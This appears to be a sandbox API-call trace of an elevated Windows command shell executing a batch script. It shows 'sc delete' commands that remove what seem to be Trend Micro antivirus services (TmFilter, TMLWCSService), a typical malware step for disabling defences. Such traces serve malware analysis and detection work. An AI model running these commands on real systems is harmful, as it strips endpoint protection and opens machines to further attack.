(in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.333] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0073.333] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.333] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.333] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.333] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0073.333] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.333] GetFileType (hFile=0x120) returned 0x3 [0073.333] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.334] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0073.334] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.334] GetFileType (hFile=0xb8) returned 0x3 [0073.334] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.334] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.334] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.334] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.334] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.334] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.334] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.334] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.334] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.334] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.334] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.334] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.334] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.334] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.334] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.334] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.334] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.334] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.334] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.334] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.334] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.334] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.335] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.335] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.335] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.335] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.335] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.335] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.335] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.335] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.335] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.335] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.335] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.335] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.335] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="MFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.336] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.336] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="Lilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.336] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.336] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.336] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="Wlter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.336] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.336] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.336] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="Cter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.336] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.336] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.336] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="Ser\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.336] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.336] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.336] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="Sr\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.336] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.336] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.336] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="e\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.336] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.336] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.336] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="r0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.337] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="v\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.337] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="i\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.337] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="c\n64-9.4\"\n\nA\"\n") returned 1 [0073.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.337] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="e64-9.4\"\n\nA\"\n") returned 1 [0073.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.337] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="\n4-9.4\"\n\nA\"\n") returned 1 [0073.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.337] GetFileType (hFile=0xb8) returned 0x3 [0073.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.337] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.337] GetFileType (hFile=0x120) returned 0x3 [0073.337] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TMLWCSService\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TMLWCSService\n", lpUsedDefaultChar=0x0) returned 25 [0073.338] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x18, lpOverlapped=0x0) returned 1 [0073.338] GetProcessHeap () returned 0x4a0000 [0073.338] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0073.338] GetProcessHeap () returned 0x4a0000 [0073.338] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0073.338] GetProcessHeap () returned 0x4a0000 [0073.338] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0073.338] GetProcessHeap () returned 0x4a0000 [0073.338] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0073.338] GetProcessHeap () returned 0x4a0000 [0073.338] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3c) returned 0x4baa40 [0073.338] GetConsoleOutputCP () returned 0x1b5 [0073.338] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.338] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.338] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.338] GetProcessHeap () returned 0x4a0000 [0073.338] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0073.338] GetProcessHeap () returned 0x4a0000 [0073.338] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x42) returned 0x4baa90 [0073.338] GetProcessHeap () returned 0x4a0000 [0073.338] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0073.339] SetErrorMode (uMode=0x0) returned 0x1 [0073.339] SetErrorMode (uMode=0x1) returned 0x0 [0073.339] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0073.339] SetErrorMode (uMode=0x1) returned 0x1 [0073.339] GetProcessHeap () returned 0x4a0000 [0073.339] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0073.339] GetProcessHeap () returned 0x4a0000 [0073.339] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0073.339] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.339] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.339] GetProcessHeap () returned 0x4a0000 [0073.339] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0073.339] GetProcessHeap () returned 0x4a0000 [0073.339] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0073.339] GetProcessHeap () returned 0x4a0000 [0073.339] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0073.339] GetProcessHeap () returned 0x4a0000 [0073.339] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0073.339] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.339] GetProcessHeap () returned 0x4a0000 [0073.339] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0073.339] GetProcessHeap () returned 0x4a0000 [0073.339] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0073.339] GetProcessHeap () returned 0x4a0000 [0073.339] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0073.339] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.339] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.340] GetLastError () returned 0x2 [0073.340] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.340] GetLastError () returned 0x2 [0073.340] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.340] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.340] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.340] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.340] GetLastError () returned 0x2 [0073.340] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.340] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.340] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: 